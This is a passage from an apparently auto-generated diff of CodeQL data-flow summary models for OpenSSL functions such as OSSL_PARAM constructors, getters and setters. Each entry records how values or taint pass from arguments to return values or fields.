"Argument[*0].Field[*issuerUID]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_get0_serial", "(const OSSL_ISSUER_SERIAL *)", "", "Argument[*0].Field[*serial]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_set1_issuer", "(OSSL_ISSUER_SERIAL *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_set1_issuerUID", "(OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_set1_serial", "(OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_conf_diagnostics", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*conf_diagnostics]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_new_child", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_LIB_CTX_new_from_dispatch", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_LIB_CTX_set_conf_diagnostics", "(OSSL_LIB_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*conf_diagnostics]", "value", "dfc-generated"] + - ["", "", True, "OSSL_NAMED_DAY_free", "(OSSL_NAMED_DAY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_NAMED_DAY_free", "(OSSL_NAMED_DAY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_free", "(OSSL_OBJECT_DIGEST_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_free", "(OSSL_OBJECT_DIGEST_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_get0_digest", "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_get0_digest", "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_get0_digest", "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_set1_digest", "(OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *)", "", "Argument[1]", "Argument[*0].Field[*digestedObjectType].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_BN", "(OSSL_PARAM_BLD *,const char *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_BN_pad", "(OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t)", "", "Argument[3]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_BN_pad", "(OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t)", "", "Argument[3]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_octet_string", "(OSSL_PARAM_BLD *,const char *,const void *,size_t)", "", "Argument[3]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_octet_string", "(OSSL_PARAM_BLD *,const char *,const void *,size_t)", "", "Argument[3]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_utf8_string", "(OSSL_PARAM_BLD *,const char *,const char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_utf8_string", "(OSSL_PARAM_BLD *,const char *,const char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_to_param", "(OSSL_PARAM_BLD *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[*3]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[4]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[4]", "Argument[*0].Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[**1]", "ReturnValue.Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[**1]", "ReturnValue.Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[**1]", "ReturnValue.Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_dup", "(const OSSL_PARAM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_PARAM_dup", "(const OSSL_PARAM *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_free", "(OSSL_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_BN", "(const OSSL_PARAM *,BIGNUM **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_double", "(const OSSL_PARAM *,double *)", "", "Argument[*0].Field[**data]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_double", "(const OSSL_PARAM *,double *)", "", "Argument[*0].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_int32", "(const OSSL_PARAM *,int32_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_int64", "(const OSSL_PARAM *,int64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_int", "(const OSSL_PARAM *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_long", "(const OSSL_PARAM *,long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string", "(const OSSL_PARAM *,void **,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_size_t", "(const OSSL_PARAM *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_time_t", "(const OSSL_PARAM *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_uint32", "(const OSSL_PARAM *,uint32_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_uint64", "(const OSSL_PARAM *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_uint", "(const OSSL_PARAM *,unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_ulong", "(const OSSL_PARAM *,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_string", "(const OSSL_PARAM *,char **,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_string_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_string_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_print_to_bio", "(const OSSL_PARAM *,BIO *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_BN", "(OSSL_PARAM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_all_unmodified", "(OSSL_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_double", "(OSSL_PARAM *,double)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_int32", "(OSSL_PARAM *,int32_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_int64", "(OSSL_PARAM *,int64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_int", "(OSSL_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_long", "(OSSL_PARAM *,long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[**1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[**1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_size_t", "(OSSL_PARAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_time_t", "(OSSL_PARAM *,time_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_uint32", "(OSSL_PARAM *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_uint64", "(OSSL_PARAM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_uint", "(OSSL_PARAM *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_ulong", "(OSSL_PARAM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_ptr", "(OSSL_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_ptr", "(OSSL_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_string", "(OSSL_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_string", "(OSSL_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PRIVILEGE_POLICY_ID_free", "(OSSL_PRIVILEGE_POLICY_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_PRIVILEGE_POLICY_ID_free", "(OSSL_PRIVILEGE_POLICY_ID *)", "", 